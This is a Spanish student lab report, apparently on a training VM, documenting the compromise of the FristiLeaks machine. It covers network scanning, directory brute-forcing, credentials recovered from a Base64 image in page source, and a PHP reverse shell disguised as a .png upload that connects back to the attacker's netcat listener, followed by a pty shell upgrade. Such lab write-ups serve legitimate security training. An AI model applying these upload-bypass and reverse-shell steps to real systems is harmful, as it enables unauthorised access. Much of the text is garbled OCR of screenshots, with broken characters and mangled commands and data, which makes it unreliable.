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Introduccion

En esta practica trabajé con la maquina Fristileaks, un entorno vulnerable disefiado para
reforzar el aprendizaje en seguridad informatica y pruebas de penetracion. El objetivo principal fue
obtener acceso al sistema mediante técnicas de enumeracion de directorios, analisis de
vulnerabilidades y explotacion web.

Para llevar a cabo el proceso, utilicé distintas herramientas disponibles en Kali Linux, entre
ellas dirb para descubrir rutas ocultas en el servidor web, Netcat para gestionar conexiones, y
finalmente implementé una shell inversa en PHP que me permiti6 establecer comunicacion remota
con la méquina comprometida.

Este laboratorio me permiti6é entender de manera practica como un atacante puede avanzar
paso a paso desde la exploracion inicial de un sitio web hasta conseguir acceso interactivo en el
sistema. Ademas, reforzo la importancia de mantener una correcta configuracion y actualizacion en
los servicios web, ya que fallos de seguridad aparentemente pequeiios pueden abrir la puerta a un

compromiso completo del sistema.



Objetivos Generales

Analizar y explotar vulnerabilidades en el portal web de Fristileaks con el fin de
obtener acceso remoto al sistema.



Objetivos Especificos

Explorar la maquina Fristileaks para identificar vulnerabilidades en
servicios web.

Aplicar técnicas de enumeracion, explotacion y escalada basica.
Conseguir acceso a la maquina victima mediante una shell inversa.

Crear nuevos usuarios dentro del sistema vulnerable para demostrar
persistencia



1 INFORME 1 - PARCIAL # 2

Importé el archivo Fristileaks.ova en VirtualBox.
Cambi¢ la configuracion de red a NAT y verifiqué la direccion IP asignada:

e Maquina victima (Fristileaks): 192.192.192.14
e Maquina atacante (Kali Linux): 192.192.192.4

1.1 Importacion Fristileaks

La maquina victima utilizada fue Fristileaks, con [P 192.192.192.14.
La importé en VirtualBox desde un archivo .ova y la configuré con Red NAT.

£ Importar servicio virtualizado

v Fuente
Fuente: Sistema de archivos local

Archivo: Ch\Users\camil\Downloads\|SO\FristiLeaks_1.3.ova

> Configuracion

Terminar Cancelar

llustracion 1 Importacion Fristileaks



1.2 Configuracion Fristileaks

O previsualizacion
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gl Windows Server 2003
03 T Caractet did Habilitar
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Ilustracion 2 Pantalla

uina  Ayuc

O Previsualizacién
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llustracion 3 Desactivar caracteristicas extendidas



1.3 Direccion Mac anterior

Herramientas

Kali Linux O Previsualizacion

© Apagada

FristiLeaks 1
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Ubuntu General Red
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Kali Linux O Previsualizacion

© Apagada

FristiLeaks 1
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llustracion 5 Red Direccion Mac nueva



1.5 Fristileaks IP: 192.192.192.14

Fristileaks 1.3 wulnerable UM by ArBxA.
Goal: get root (uid B) and read the flag file

Thanks to dgi and barrebas for testing?

IP address:192.192.192.14
medmgmt-14 login:

Ilustracion 6 Inicio Fristileaks IP: 192.192.192.14

1.6 Maquina virtual Kali Linux

Escaneca toda la red 192.192.192.0/24 (tu red local de laboratorio).
Por cada maquina que encuentre activa, intentara identificar:

e Los puertos abiertos.
e Los servicios que corren en esos puertos.
o Las versiones exactas de los servicios (cuando puede detectarlas).



1.7 Escaneo de toda la red 192.192.192.0/24

tello® Freenan
$ 192.192.192.0/24
Starting Nmap 7.35 ( htips://nmap.org ) at 2025-09-08 18:11 -85
Nmap scan report for medngmt-1.tajen.edu.tw (192.192.192.1)
is up (0.000425 latency)
Rl not shown: 999 closed tep ports (reset)
N

53/tep Filtered domain
MAC Address: 52:54108:12:35:00 (QEMU virtual WIC)

Nmap scan report for medngmt-2.tajen.edu.tw (192.192.192.2)
Most is up (8.0014s latency).
Mot shown: 396 filtered tep ports (o-response)
PORT  STATE SERVICE S10N
135/tcp open  msrpc wicrosoft windows RPC
RN «is/tcp open  microsoft-ds?
902/tcp open ssl/vimare-auth WMware Autheatication Daemon 1.10 (Uses VNC, SOAP)
Micrasoft HTTPAPL httpd 2.8 (SSOP/UPNP)
MAC Address: 52154:00:12:35:08 (QEMJ virtual NIC)
05: Windows; CPE: cpe:fo:microsoftiwindows

Nmap scan report for medmgmt-3.tajen.edu.tw (192.192.192.3)

Host iz up (0.00014s latency)

AL 1000 scanned ports on medmgnt-3.tajen.edu.tw (192.192.192.3) are in ignored states.
NOT shown: 1000 filtered tcp ports (proto-uareach)

MAC Address: B:08i27:D6:ESI15 (PCS Systemtechaik/Oracle irtualBox virtual NIC)

Nmap scan report for medmgmt-14.tajen.edu.tw (192.192.192.14)

Host is up (8.0015s latency).

Not shown: 953 filtered tcp ports (mo-respanse), 16 filtered tep ports (host-prohiblted)
PORT  STATE SERVICE VERSION

80/tcp open http  Apache httpd 2.2.15 ((Cent0S) DAV/Z PHP/S.3.3)

MAC Address: DB:00:27:A5:A6:76 (PCS Systemtechnik/Oracle virtualbox virtual WIC)

Nmap scan report for medsgut-i.tajen.edu.tw (192.192.192.4)

Host is up (0.0000858s Latency).

AL 1000 scanned parts on medmgai-4.tajen.edu.tw (192,192.182.4) are in ignored states.
Mot shown: 1800 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Wmap done: 256 1P addresses (5 hosts up) scanned in 30,84 seconds

ie‘.lc'?»rreenal\ -

Ilustracion 7 Escaneo de toda la red 192.192.192.0/24

Me dirigi al navegar y coloque lo siguiente: http://192.192.192.14

(5% @ B cTRL DEREC

1005a.m.
) b g
@) e O G

llustracion 8 Maquina atacante: Kali Linux, IP 192.192.192.


http://192.192.192.14/

1.8 View Selection Source

Click derecho y seleccionamos View Selection Source

Fd
Archivo  Mquina Ver Entrada Dispositivos  Ayuda

5 19219219214/
€ 2> C @

OffSec  KaliLinux # Kali Tools » Kali Docs N Kali Forums X Kali NetHunter  Exploit-DB

Google Hacking 0B

The #fristileaks motto:

KEEP
CALM

AND

DRINK
FRISTI

121, Reinierk, @719 [, @miamat, MisterXE, BasB, Dwight, Egeltje, @pdersjant, @tcp130x10, @spierenburg,

Fristileaks 2015-12-11 are:

| @meneer, @0xDUDE, s
| @lelmatani, @renepleters, Mystery guest, @EQ_uinix, @WhatSecurity, @mramsmeets, @Ar0XA

BOXET# MO @ L CTRLDERECHA

ESP o
A Gh RO D

10:32a.m.
8/09/2025

Archivo  Maquina Ver Entrada Dispositivos  Ayuda
214/ % DOMSourceofSelection X  +
C & source:data:text/html;charset=utf-8,%3Chtml%3E%3Chead%3E%3C%2Fhead % 3E%3Cbody%20bgeolort3D%229%23FF69B4%22% 3E W OA%
Kali Linwx @ Kali Tools = Kali Docs N Kali Forums X Kali NetHunter = Exploit-DB.  Google Hacking DB
bacolor=

href- i fristileaks</s> motto:</

@PyroBathlL, AXDUDE, Gannejanbrouver, @ 21, o , BasB, Duight, Egeltje, @pdersjant, @tcpi30x10, @spierenburg, @ielmatani, @renepieters, Mystery guest, GEQ uinix, awh|

B O¥ET ¢ WO N @D CTR DERECHA

1
8

2r°c ) A ) A B 290

Mayorm. nublado =

Ilustracion 9 View Selection Source



1.9 Enumeracion de directorios
Entramos a Consola Kali Linux ejecuté el siguiente Comando: dirb http://192.192.192.14

Este comando lo ejecuté desde Kali Linux para hacer un escaneco de directorios
ocultos en la pagina web de Fristileaks. El objetivo era descubrir rutas interesantes que no
aparecen de forma visible en la pagina principal.

Con este descubri directorios como:
e /images/
e /robots.txt/
e /cola/
o /beer/
o /fristi/ (este ultimo contenia el portal de administracion).

) /hone/tello

BOWSE# WM @D CTRL DERECHA
2T EmoOo@ZO 0 ST eH IO -~ B eso0 B8

Hustracion 10 dirb http.//192.192.192.14

dirb: Herramienta de fuerza bruta para descubrir directorios y archivos ocultos en servidores
web.
http://192.192.192.14: Direccion IP de la maquina victima (Fristileaks).


http://192.192.192.14/
http://192.192.192.14/

Fd

Archivo

B s

OffSec Kali Linux x Kali  Kali NetHunter Exploi
Forbidden

You don't have permission to access fcgi-bin/ on this server.

Hacking DB

LRt g d=la gl 4+ ]
ca A ® =" ¢ & a7 C S L e

Tlustracion 11 htip-//192.192.192.14/cgi-bin/

CTRL DERI

uina Ver Entrac

shareldirbiwordlists

Archivo

zsh: corrupt history file /home/tello/
tello@ Freeman

[sudo] contrasefia para tell
root® Freeman) - [ /home/tello]
# <o fusr/share/dirb/werdlists

root® Freeman) [ /usr/share/dirb/wordlists
2

big. txt Common.TXT  extensions_common.Tx MUtations_ce l.txt  stress
catala.txt euskera.txt indexes.txt others spanish.txt vulns

root® Freeman) [ /usr/share/dirb/wordlists
2

tatal 268

stress

rout® Freeman)-[ /usr/share/dirb/wordlists
ommon., txt

bash_history

Ilustracion 12 directorios y archivos ocultos en servidores web



dirb: Herramienta de fuerza bruta para enumerar directorios y archivos ocultos.
http://192.192.192.14: IP de la méaquina victima (Fristileaks).
/usr/share/dirb/wordlists/small.txt: Diccionario mas pequeio (959 palabras), utilizado para
acelerar el escaneo en comparacién con common.txt.

Archivo Maquina Ver Entrada Ayuda

Dispositives

ArchivoAcciones_ Editar Vista Ayuda

—(root® Freeman)-| /usr/share/dirb/wordlists
" http://192.192.192. 14/ /usr/share/dirb/wordlists/small.txt

DIRB v2.22
By The Dark Raver

E: Mon Sep 8 11131104 2025
http://192.192.192.14,

irb/wordlists/small.txt

noxSsMOEN 60

A BB

Ver Entrada Disp

ocs N Kali Forums €% Kall NetHunter % Exploit-DB % Google Hacking DB

ndex of /images

Name Last modified  Size Description

il & Porent Directory B
M [ 30374404pg  25-Nov-2015 03:50 105K
Bl (4 keep-calmpng  17-Nov-2015 12:20 34K

EmoOo@g# ® 27 ¢ 8 'i'
Hlustracion 13 http://192.192.192.14/Images




Ed
Archivo Maquina Ver Entrada Dispo

B s

Forums & Kall NetHunter = Exploit-DB = Google Hacking DB

THIS IS NOT'THE

(]]
U
™

¥
N

& < L~ -
YOU WERE LOOKING™
FOR )

memegenerator.net

AONS/sHOAN @0k
Esp 1047a.

Y S O a0

Archivo Maquina Ver Entrada Dispo

ums & Kall NetHunter « Exploit-DB » Google Hacking DB

BOXE #MOMY @K CTRL DERECHA|
BmMOoCBAOOGOTeRNNOEE ~ B euo Mun

Hlustracion 14 http://192.192.192.14/robots.txt



http://192.192.192.14/robots.txt

1.11 http://192.192.192.14/cola/

yyyyyyy

BOXE#WMBMN @R DRECHA

T - ® 27" ¢ 8 JOTE
llustracion 15 http://192.192.192.14/cola/

1.12 http://192.192.192.14/sisi/

YOU WERE LOOKING
FOR

BOME #HOMN @D TR DEReCHA|

mMoOCBAOOITeBNOEA
Hustracion 16 http://192.192.192.14/sisi



http://192.192.192.14/cola/
http://192.192.192.14/sisi/

1.13 http://192.192.192.14/beer/

YOU WERE LOOKING
FOR "

negonerator.net

AORSsmOMAN @0

ESP o

:'_-,"‘um ® 2™ ¢ & < &
llustracion 17 http://192.192.192.14/beer/

7

.14 Fristileack Admin Portal : http://192.192.192.14/fristi/

quina Ver Entrada Ayuda

a:

Member Login
Username :
Password

BOXSE #MOMY @R DERECHA|

10:56

i Emooc@dOo® 2T e o T Z ~ 2 ewo Bun
Hlustracion 18 http://192.192.192. 14/fristi/



http://192.192.192.14/beer/
http://192.192.192.14/beer/
http://192.192.192.14/fristi/

Dentro de /fristi/ Hice clic derecho en la pagina e inspeccioné el codigo fuente (View Page
Source).

Entrada  Dis

19214

OffSec ~ KallLinux & Kali Tools & K: N Kall Forums o Kali Nethunter . Exploit-DB

Member Login
Username

Password :

% @0
O o@| A ® 27 ¢ 8 90T & e 0

10:57a.m.

[lustracion 19 Clic erecho View Pae Source

Magquina

Exploit-DB. % Google Hacking DB

rd login-te

ft some junk in

><hl> Welcome to #fristileaks admin portal</

>< Sr | )/ bz 4AA!

B 0¥ T ¢ WO @ O CTRLDERECHA|
4 ESP = 10
na A 2 8 B T E ANl OB

1lustracion 20 Codigo View Page Source



cellpadding="0" cellspacing. bgeolor

Emoc@aEmoo °TeD <
Llustracion 21 Codigo View Page Source

1VBORWOKGEOAAAANSUhEUgAAAWBAAABLCATAAAABAUHQAAAAAXNSROTArSAC6QAAAARNQUIBAACK
Jwv8YQUAAAAT cEhZcwAADSMAAAZDACAVGGQAAARSSURBVHhe7d1RdtsgEIVhr8sL8ngymmamiokl
SeiAQGYeNbel/ /dwsQyTgdxz2t5+AcCHHAHERYA4ASCIHAHIRIWC8YBEAXUQIACOYBIAXOQLALXW
BAEWOAPALRWBAkSMAVMERAF7kCAAVCESAFZKCWIScAeBF jgDwIkcAeJEjALZIEQBeSAgALSke+f
m63yaP7/XP/5RUM2jx71Mz1ZdqpguZHP1+zJ1053b9+1gd/@TL2Wul15+RMpIq5tMTKELpaHlVvX]]
Zv7/d5i6qsedtorwa6UMsR1+WroR172DbdwWKqZSetMPqGl8LRhzyWjWk TFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLSew+oaXwomXXtThL8e6W+]1 rNdDFujoQNI9XbKEHMpSUMN9BSeGT51bUcrewW+VjNd
jIQjcelwepPCjlLNXFpi8gktXfnvtYSd6UpINdPFCD1yKB3dyPLpSTVZZYnIR7ROWHELFGVSNrDU
12qmC/1/7z27WXilabligalqjZzdq5sqSxUgtWyY7syq+ubUpINdOFeISENygbTT j+qDbc+QpG9csh
uvFQzV5aM15LlyMrfnrPU12gmC+Ucqd+g6E1INsX16/1/6BtvvEQzF5YM2ILhyMLz4AsNNtEp/pSkgl
@4VajmwziEdZvmSz9E@YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUugqohEkso2kSpGye@alq
11n+skSqGTOSIVsSKC5Zv4+XH36vQzblevetarWb6EMyRalLLp+Bbhy31k8SBbjqpUNSHYjHXImC2Fg
toHedrysrz4e4sdLPWimulDLUdSpdEskSvT5GtqglxntX88tu/PZy7VjHXIMC21HI1WVBBTdZb6Ws
30070 jk3y+pQoTnEG41NOco9UNnY5dqxrhkelzZKezwdNwgfnv6AOUNI sWb6UMYR5Z2 T2B+1wDh++F1
3K/U+z2uF JNWNcMmhLzUe2v6n,/dAWG+mLNOKGWISECK sMI1606+ecH8dveuuaPnkqDl2rGuiS8HK
ul9iMrFGogqa/VTB8qORLUSTqF7TYU7tgsn/4+zThv6aiilscz1GrevGTIlsLLhiPbnh6KnLDU12q
mD+8cKQ8nunpVcZ21Rj7erEz@WqoZ+5IRW10XNB3Z/vBMWulSfY1lm+hDLkcIAtuHEUZU/191867X34
rPtaelmLieZrgxegu3l7aTukRkvaylRfgpk+9HNkH85hNocTKC4AP31Vebhd8fy/vzOTCkgeBWlrrFhe
EPdMj03SSys7XVF+qmTSUcmT9+Ss / /fyyOLU3kWoGLd59ZKb6Us 10T ZMjAPSbSAgAL 3TEEBC5ASCLH
AHERYAASCIHAHIRIWC8YBEAXUQIACOYBIAXOQLALIXWBAEWOAPALIRWBAKSMAVMERAF7KCAAVCESAFZK
CwIscAeBFjgDwIkcAelEjALZIEQBeSAGAL3TEGBCSASCLHAHERYAASPNY/QNa7zik1qty cQAAAABIR
UsErklggg==

Ilustracion 22 Comentario




Ahi encontré un comentario en Base64, esto lo hice porque muchas veces los
desarrolladores dejan comentarios en el HTML que pueden dar pistas. En este caso,
efectivamente encontré un texto en Base64, lo que me dio la idea de decodificarlo.

1.15 Conversion de Base64 a PNG

Copié el texto en Base64 y lo converti a un archivo de imagen (.png) al hacerlo, la imagen
revel6 unas credenciales:

Decode from Base64 format # Bonus tip: Bookmark us!

BYQUAAA TDAcdh

saAQvawumstvTommucnnmanvmac)wwmayeEAan!AchAonLAmw
B4EWOAF

vuﬂpunvx.u

HQjceiwepPCjILNXFpiBgkiXInVtY S6UpINGPFCDIYKB3dyPLSTV2ZYnIR7ROWHEFGVSNIDU
12qmC} QPGS
GmC+Ucqd+gBE L QuFSYM2JLhyML
S4GCni+kLRNGEZXTh
1n+skSqGIOSIVSKC! L

© For ancoded binaries (like mages. documents, etc.)

Utk ~ Source character set.

Decode each parately (useful for

@ Livemode OFF  Decodes in reak-ime as you type or paste (supports only the UTF-8 character set)

RRRCLCSLI A Oecodes your data into the area below

PNG
]

“o0
IHDR® @ "M@ @K i1 €0 014060 " SRGEG T 006 1 )AVAG€ 15 100€ pHYs0® 1061
- HEQ GO & HenE N0 NI EG Cowe e ¥ [EHEQ GO 1o 5

XKKL>a%ZD $B50:40VKKL>e 2K Z11n
“%6&RxgE V3j£qpz 8 IRZb - IHSIRON( HI5seGiXq k6fi ¥ g=Yxibb Hj3H. vu»«sn-mr M6
anww!"rﬁrmshoaﬁ‘iumsl\mcvauﬁnﬂ SHREELRSAILNYDE
2] AKCEAR<TET
I +0'L B0 TR SUB 3500 # 0] 5 H) F2UqF>tZ BT IZ A BLZRIFT ©S:HL-EnFEZT_>sdTaslil( Fur
=2AT_>Trd+ 2874 - )dmsom O/ HTET N EQ GOl € E o 101 I HES GO e Honk 19511 EQ GO ie
(270% ¥ EQ 26100 @@ GIEN]

# Copy o chpboard

Decode files from Base64 format

Ilustracion 23 Conversion de Base64 a PNG



%7 Check out our project get a browser In your browser and browse while you browse

Baseé4 to PNG Converter
Online PNG Maker

World's simplest online base64 to Portable Network Graphics image converter. Just import your base64-ancoded image
in the editor on the left and you will instantly get PNG graphics on the right. Free, quick, and very powerful. import
base4 - get a PNG. Created with love by team Erowserling

eam How e See Pricng and Plans

Input Base64 @ Output PNG
yuTUoUpamaUreL
/1 REtwE
NASAC ) Ca14kLRAG12XTHUGE:
L0 WOOEMYRAL Lo B
tqgLenfXBE LU P2yTY 1
T TVEANND HOELM 5326+ On
ECKSM 1606 +eCHIIVEULAP RGO 2
st

G X
LPRANKALDU2G

keKkeKKeKKeKKEKKEK

q
207ChanBHl (rF
EPUNJ03SSys T

Import from file Copy to clipboard Chain with.

Copy to clipboard

What s a Base64 to PNG Converter?

This program converts praviously base64-encaded PNG pictures back to actual PNG pictures that you can seo. Bafore

ecks if the encoded data is valid. If the input base64 is invalid, youll get an error. Also, with this program, you
can create glitch PNGs by randomy changing letters and numbers in the base64 data. As PNG is compressed, changing a .
couple of symbols in its base64 encoding will create unexpected visuel effects in the output PNG. Pg-abulous!

conversion, it ¢

New Pricing

and new features

You're using the free plan

The free plan lets you use PNG tools for personal use only. Upgrade to the premium plan to use PNG tools.
for commercial purposes. Additionally, these features will be unlocked when you upgrade:

Commercial Use T) NoWait Time

Use our PNG tools for commercial use. Skip the download wait timer and download the
PNG instantly.

Unlimited Usage | Instant Download

Use all PNG tools as many times per day as you Skip this dialog and download the PNG with a

vant to. single click.

No Ads Instant Copy-to-clipboard

You'll not see a single advertisement. " Copythe PNG to clipboard with 3 single click.

WOSYIM  Uporace to Premium

llustracion 25 PNG Descargado



1.16 Credenciales Conseguidas

Usuario: eezeepz
Contraseiia: kekkekkekkekkEKkEk

1.16.1 Usuario:
eezeepz

llustracion 26 Usuario. eezeepz

1.16.2 Contraseia:
kekkekkekkekk EkkEk

keKkeKKeKKeKkEkkEkK

Ilustracion 27 Contrasena.: kekkekkekkekkEkkEk

1.17 Login Fristileaks

Ingresé al login de /fristi/ con esas credenciales y el acceso fue exitoso.

Member Login
Username : eezeepz
Password :  keKkeKKeKKeKKEKKEk
Login
BOXSE#MBMN @D R DRCHA

A TS o

1lustracion 28 Login Fristileaks



BOWET # WD % @D R DRECHA

1024.m.
4/09/2025

>0 e

Hlustracion 29 Login Successfull

1.18 Creacion y subida de webshell

Entramos a la carpeta /usr/share/webshells, después a subcarpeta php y verificamos si existen
archivos

squina Ver Entrada Dispos

o0t @Frecman

fusrisharciwebshells/php

Archivo Acciones Editar Vista Ayuda
Ml zsh: corrupt history file /home/tello/.zsh_history
-(tello% Freeman)-[~

[sudo] contrasefna para tello:
E(root@ Freeman)-[/home/tello]
# /usr/share/webshells

L—(root@ Freeman)-[/usr/share/webshells]
#
asp aspx cfm jsp laudanum perl php

(root® Freeman)-[/usr/share/webshells]
S php

L—< root® Freeman)-[/usr/share/webshells/php]
#
findsocket php-backdoor.php ¢ gqsd-php-backdoor.php simple-backdoor.php

(root® Freeman)-[/usr/share/webshells/php]
)

B 0¥ T ¢ MO @ TR DERECHA|

£sp

. . 10atam
*a A ® " ¢ & < B A T o &

nm MmO

Ilustracion 30 /usr/share/webshells



Copiamos archivo php-reverse-shell.php a Escritorio y verificamos que copio

) E( root® Freeman)-[/usr/share/webshells/php]
[
findsocket php-backdoor.php qsd-php-backdoor.php simple-backdoor.php

L—( root® Freeman)-[/usr/share/webshells/php]
# php-reverse-shell.php /home/tello/Escritorio

[j( root® Freeman)-[/usr/share/webshells/php]
# cd E o
cd: no existe el fichero o el directorio: Escritorio

E( root® Freeman)-[/usr/share/webshells/php]
# /home/tello/Escritorio

E( root® Freeman)-[/home/tello/Escritorio]
iy

[j< root® Freeman)-[/home/tello/Escritorio]
#

B O¥E ¢ MBI @D CRDRECHA

BNy o 7 9 =2 v ® O ¥ g A B g gy OMAm o

LAA 4/09/2025

Hlustracion 31 Copiamos archivo php-reverse-shell. php a Escritorio

Copiamos archivo php-reverse-shell.php y Modificacion de nombre
L_< root® Freeman)-[/home/tello/Escritorio]
# php-reverse-shell.php tello.php.png

,__< root® Freeman)-[/home/tello/Escritorio]
#

Entrar y Modificar tello.php.png

root® Freeman)- [ /home/tello/Escritorio

#
s root® Freeman)- | /home/tello/Escritorio
; #t tello.php.png
root® Freeman ) - | /home/tello/Escritorio
- " .

noxSsrsn02eD




Cambiar IP a la de Kali Linux: 192.192.192.4

7]

Archivo Maquina Ver Entrada Dispositivos Ay

>
@) // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely!

set_time_limit (0);
$VERSION = "1.0";
STIEECENCPIREYN ; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;

$debug = 0;

d//

// Daemonise ourself if possible to avoid zombies later

¢ I°g Ayuda B Guardar @lZ Buscar @ Cortar @il Ejecutar W€ Ubicacion
By Salir B Leer fich. @ Reemplazar @il Pegar B Justificar @ Ir a linea
: LT EP -

ol e o HEmyOog 4 ® = ¢ & < E A a
Ilustracion 32 Cambiar IP a la de Kali Linux: 192.192.192.4

= dx B

Nos dirigimos al login de Fristileaks

Member Login

Username : eezeepz
Password : | keXkeKKeKKeKkERKEK

Login

A O»E ¢ MmO @0 cir oec
B EMmMOo QA ® %" 9 & BB A a B¢ P gy




Cargamos el archivo php.png

Entrada

P Uplesd

« el

Select image to upload:

Nombre Tamaho Tipo Modificado
| Browse... Nofile selected. B

Escritorio s php KB Programa 1043
= tello.php.png 55kB  Programa 10:52

DIPT 7 &8 0 CTRL DERECHA|

oC

O o A 9 " ¢ O = B

Luvia intensa

Hlustracion 33 Cargamos el archivo tello.php.png

Archivo Méquina Ver Entrada Disposi

OffSec  KaliLinux & KaliTools = Kall Docs N Kali Forums €% Kali NetHunter % Exploit-DB & Google Hacking DB

Uploading, please wait
The file has been uploaded to /uploads




AO%E s mBMH @0 omec
HmoCBAOS"O4H O B B &7
llustracion 34 http://192.192.192.14/uploads

1.19 Ejecucion del Reverse Shell con Netcat
Comando usado: nc -lvp 1234
Con este comando abri un listener en mi maquina atacante para esperar la conexion reversa.

Cuando subi y ejecuté el archivo malicioso desde Fristileaks, recibi una shell en mi Kali con
los privilegios del servidor.


http://192.192.192.14/uploads

4

Archivo Maquina  Ver

Y

Entrada  Dispositivos

Archivo Acciones Editar Vista Ayuda

tello® Freeman

Ayud

a

192.192.192 4fristifuploadsitello.php.pn

@ hitp://192.192.192.14/fristiluploads/tello.php.png — Visit

e ®

tello@Freeman: -

nornss

~

AOXE #mBMN @0 TR OmecHA

ESP
LAA

(9 %. @ £ CTRL DERECHA

3¢ B

@ ox 9 1%am

A B
LAA



Archivo Maquina Ver Entrada Dispo

B O®E ¢ mBMN @R DRECHA
Emooo@g4d 9 2™ ¢ & ) B B & 7 o B O oo

Tlustracion 36 hip-//192.192.192.14/fristi/uploads/tello.php.png

1.20 nc -lvp 1234 ejecutando

rd

Archivo Maguina Ver Entrada Dispositvos Ayuda

£ 100t Frecmen: omefiela

Archivo Acciones Editar Vista Ayuda

. [:f(routﬁaFreeman)—[/home/tello/Escritorio]
# 1234

Linux medmgmt-14.tajen.edu.tw 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015
o x86_64 x86_64 x86_64 GNU/Linux
11:59:34 up 1:44, 0 users, Lload average: 0.02, 0.01, 0.11
USER TTY FROM LOGIN@) IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.13% |}

B O¥MES MO & D R DERECHA|
26°C - £sp 100a.m.
I EmoOo@ A ® 27" ¢ & s N A eem eng

1lustracion 37 nc -lvp 1234 ejecutando



7
Archivo Maquina Ver Entrada Dispositivos Ayuda
k- root@Freeman: fhomeftellofEscritorio

M USER TEY FROM LOGIN®@ IDLE JCPU PCPU WHAT
Yuid=48(apache) gid=48(apache) groups=48(apache)

B sh: no job control in this shell

Bl sh-4.1$ ifconfig

sl ifconfig

[l etho Link encap:Ethernet HwWaddr 08:00:27:A5:A6:76

inet addr:192.192.192.14 Bcast:192.192.192.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fea5:a676/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:126879 errors:0 dropped:0 overruns:0 frame:0

TX packets:85801 errors:0 dropped:@ overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:11112864 (10.5 MiB) TX bytes:14355806 (13.6 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:486 errors:0 dropped:0 overruns:0 frame:0
TX packets:486 errors:0 dropped:0 overruns:Q carrier:0
collisions:0 txqueuelen:0

RX bytes:51825 (50.6 KiB) TX bytes:51825 (50.6 KiB)

B 0¥ T ¢ MBS @0 CTRUDERECHA|
EmgOOg A 9 2 v ® O > g "
Ilustracion 38 ifconfig




2 Creacion de dos nuevos usuarios en Fristileaks
2.1.1 Convertir la shell en una TTY interactiva:
Para trabajar mejor dentro de la maquina con el siguiente comando:
python -c 'import pty;pty.spawn(''/bin/bash')’

sh-4.1% python -c 'import pty;pty.spawn("/bin/bash™)’
python -c 'import pty;pty.spawn("/bin/bash™)’
bash-4.1% 15 -la

1s -la

total 182

dr-xr-xr-x. 22 root root 4096 Sep & 13:26 .
dr-xr-xr-x. 22 root root 4096 Sep 8§ 13:26 ..
-TW-T—TI— 1 root root @ Sep & 13:26 .autofsck
-TW-T—TI— 1 root root @ MNov 17 2015 .autorelabel
dr-xr-xr-x. 2 root root 4096 Nov 17 2015 bin
dr-xr-xr-x. 5 root root 1024 Nov 17 2015 boot
drwxr-xr-x 19 root root 3648 Sep 8 13:26 dew
drwxr-xr-x. 70 root root 40896 Sep & 13:26 etc

drwxr-xr-x. 5 root root 4896 Nov 19 2015 home
dr-xr-xr-x. 8 root root 4096 Nov 17 2015 lib
dr-xr-xr-x. 9 root root 12288 MNov 17 2015 lib64
drwx 2 root root 16384 Nov 17 2015 lost+found
drwxr-xr-x. 2 root root 4096 Sep 23 2011 media
drwxr-xr-x. 3 root root 4096 Nov 17 2015 mnt
drwxr-xr-x. 3 root root 4896 Nov 17 2015 opt
dr-xr-xr-x 131 root root @ Sep 8§ 13:26 proc
dr-xr-x—. 3 root root 4896 Nov 25 2015 root
dr-xr-xr-x. 2 root root 12288 Nov 18 2015 sbin
drwxr-xr-x. 2 root root 4096 Nov 17 2015 selinux
drwxr-xr-x. 2 root root 4896 Sep 23 2011 srv
drwxr-xr-x 13 root root @ Sep 8 13:26 sys
drwxrwxrwt. 5 root root 4896 Sep & 19:10 tmp
drwxr-xr-x. 13 root root 4896 Nov 17 20815 usr
drwxr-xr-x. 19 root root 4896 Nov 19 20815 var



2.1.2 Exploracion de directorios:

Navegué hasta el directorio web de la aplicacion:

cd var

bash-4.1% cd var

cd var

bash-4.1% 1s -1la

1s -1a
total 76

drwxr-xr-x.
dr-xr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.

drwxr-x—

drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxrwxr-x.
drwxr-xr-x.
lrwxrwxrwx.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxrwxrwt .
drwxr-xr-x.
drwxr-xr-x.

cd www

[
W

P
fd

h

{8 T U Y TN O A O S oy R 5 Y Y S P 5y P

root
root
root
root
root

fristigod

root
root
root
root
root
root
root
root
root
root
root
root
root
root

bash-4.1% cd www

cd e

bash-4.1% 1s -1a

1s -la
total 28

drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.
drwxr-xr-x.

-TW-T—T—

1

[l I I N I S Y I

root
root
root
root
root
root
root

root
root
root
root
root
root
root

root
root
root
root
root

fristigod

root
root
root
lock
root
root
root
root
root
root
root
root
root
root

4@96
4@96
4@96
4@96
4@96
4@96

o8

Mow
Mow
Aug
Mow
Mow
Mow
Mow

4096
4096
4096
4096
4096
4096
4096
4096
4096
4096
4096

1@
4096
4096
4096
4096
4096
4096
4096
4096

17
19
24
17
25
17
17

Now
Sep
Now
Now
Now
Now
Sep
Sep
Sep
Now
Sep
Now
Sep
Sep
Sep
Sep
Now
Now
Now
Sep

2015
2015
2015
2015
2015
2015
2015

19 2815
8 13:26
17 2815
17 2815
17 2815
25 2815
23 2011
8 12:38@
23 2811
17 2815
8 13:26
17 2815
23 2811
23 2811
23 2011
8 13:26
17 2815
17 2815
17 2815
23 2811
cgi-bin
error
html
icons
notes.txt

cache

db

empty
fristigod
games

lib

local
lock

log

mail — spool/mail
nis

opt
preserve
run

spool

tmp

T

¥P



Cd html

cd html

1s -la
total 36

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-TW-T—T—
-TW-T—T—
drwxr-xr-x

Cd fristi

bash-4.1% cd fristi

cd fristi

drwxr-xr-x.
drwxr-xr-x.

